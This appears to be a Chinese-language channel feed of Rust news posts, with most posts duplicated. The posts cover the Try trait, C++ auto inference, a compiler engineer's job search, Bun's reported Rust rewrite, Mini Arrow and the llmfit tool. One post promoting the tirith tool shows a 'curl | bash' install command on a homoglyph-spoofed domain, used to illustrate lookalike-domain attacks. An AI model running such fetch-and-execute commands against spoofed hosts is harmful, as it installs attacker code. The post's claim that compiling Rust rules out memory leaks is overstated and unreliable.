#Rust
之前一直以为,在Rust代码中只有返回Result类型的函数可以用?提前返回,没想到可不止这个类型,参见:https://doc.rust-lang.org/std/ops/trait.Try.html
之前一直以为,在Rust代码中只有返回Result类型的函数可以用?提前返回,没想到可不止这个类型,参见:https://doc.rust-lang.org/std/ops/trait.Try.html
👍3❤1
#Rust
Rust编译器贡献者 Nicholas Nethercote 在线找工作《I am a Rust compiler engineer looking for a new job》,连他也在抱怨“AI is sucking up a lot of money and attention in the tech world, leaving less for everything else.”。
Rust编译器贡献者 Nicholas Nethercote 在线找工作《I am a Rust compiler engineer looking for a new job》,连他也在抱怨“AI is sucking up a lot of money and attention in the tech world, leaving less for everything else.”。
Nicholas Nethercote
I am a Rust compiler engineer looking for a new job
UPDATE 2025-09-03: I have found a new job and will be starting next week. I will post more details soon. Many thanks to everyone who helped publicize this post and to everyone who contacted me about possible work. Rust is being used in many interesting places!
❤11
#C++
#Rust
#类型推断
C++后来引入了auto关键字用于类型推断,但是这个类型系统在Rust面前就是个弟弟,因为经常会给推出来可能编译报警的类型。
例如代码:
这在某些编译器上会报警:comparison of integer expressions of different signedness
这是因为这里的auto i进行类型推断时使用了int,而vector的size类型是size_t,一个是有符号整型,一个是无符号整型,在数据溢出的时候这个对比会判断出错,所以才有的这个告警。
我的问题是:既然如此,这里的auto i就应该推断成size_t才对。不然要你这个类型推断有何用啊?
#Rust
#类型推断
C++后来引入了auto关键字用于类型推断,但是这个类型系统在Rust面前就是个弟弟,因为经常会给推出来可能编译报警的类型。
例如代码:
for (auto i = 0; i < expected_actions.size(); ++i)
这在某些编译器上会报警:comparison of integer expressions of different signedness
这是因为这里的auto i进行类型推断时使用了int,而vector的size类型是size_t,一个是有符号整型,一个是无符号整型,在数据溢出的时候这个对比会判断出错,所以才有的这个告警。
我的问题是:既然如此,这里的auto i就应该推断成size_t才对。不然要你这个类型推断有何用啊?
❤1
#开源项目
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
👍35
#Rust
#人工智能
采用Rust重写的JS Runtime Bun已经被合并。之前很多人以为只是玩玩,但是没想到作者来真的,真的把代码重新用Rust实现并且合并进了主干。
我的观点:在现在大量ai coding的情况下,Rust这样强类型、类型和内存安全的语言是有优势的,因为从语言设计上,在编译期就能让编译器给检查出很多错误来。强类型保证了不同类型数据操作时不会有问题,例如C中的数据溢出问题;而内存安全保障了代码只要能编译通过,就不会有内存泄露、野指针等问题。以上都能让开发者专注在代码逻辑上,能更加放心一些。反倒是某些解释型语言....我换个说法:今天如果使用解释型语言,来重写这么大的一个项目,恐怕不会这么快和顺利(按照作者的说法,只花了6天,AI就完成了Rust版本的重写)。
#人工智能
采用Rust重写的JS Runtime Bun已经被合并。之前很多人以为只是玩玩,但是没想到作者来真的,真的把代码重新用Rust实现并且合并进了主干。
我的观点:在现在大量ai coding的情况下,Rust这样强类型、类型和内存安全的语言是有优势的,因为从语言设计上,在编译期就能让编译器给检查出很多错误来。强类型保证了不同类型数据操作时不会有问题,例如C中的数据溢出问题;而内存安全保障了代码只要能编译通过,就不会有内存泄露、野指针等问题。以上都能让开发者专注在代码逻辑上,能更加放心一些。反倒是某些解释型语言....我换个说法:今天如果使用解释型语言,来重写这么大的一个项目,恐怕不会这么快和顺利(按照作者的说法,只花了6天,AI就完成了Rust版本的重写)。
🔥12
#Rust
#博客
#开源项目
之前参考了Rust 类型体操实现了一个迷你版本的Arrow,用于理解Rust类型体操和Arrow的实现原理,周末想起来把它公开并写了一篇博客 “Mini Arrow:极简的Rust实现的Arrow”。
#博客
#开源项目
之前参考了Rust 类型体操实现了一个迷你版本的Arrow,用于理解Rust类型体操和Arrow的实现原理,周末想起来把它公开并写了一篇博客 “Mini Arrow:极简的Rust实现的Arrow”。
Type Exercise in Rust
Preface — Type Exercise in Rust
A thirteen-chapter Rust course on type families, generic expressions, checked binding, one-level Lists, stronger Rust type boundaries, and batch futures.
❤9👍2🔥2😁1
#开源项目
#人工智能
#Rust
llmfit 是一个轻量级的命令行工具,专门解决“我的电脑到底能跑什么模型”的痛点。它通过扫描系统的RAM、CPU以及显卡的显存,自动对比HuggingFace上的模型数据库,并根据量化精度、推理速度和上下文长度给出一份适配清单。它支持Ollama、llama.cpp、MLX等主流框架,让你在下载动辄几十GB的模型文件前,就能预判它在你的硬件上是丝滑运行还是直接崩溃。
#人工智能
#Rust
llmfit 是一个轻量级的命令行工具,专门解决“我的电脑到底能跑什么模型”的痛点。它通过扫描系统的RAM、CPU以及显卡的显存,自动对比HuggingFace上的模型数据库,并根据量化精度、推理速度和上下文长度给出一份适配清单。它支持Ollama、llama.cpp、MLX等主流框架,让你在下载动辄几十GB的模型文件前,就能预判它在你的硬件上是丝滑运行还是直接崩溃。
GitHub
GitHub - AlexsJones/llmfit: Hundreds of models & providers. One command to find what runs on your hardware.
Hundreds of models & providers. One command to find what runs on your hardware. - AlexsJones/llmfit
👍10🔥3👏3😁2🤔2❤1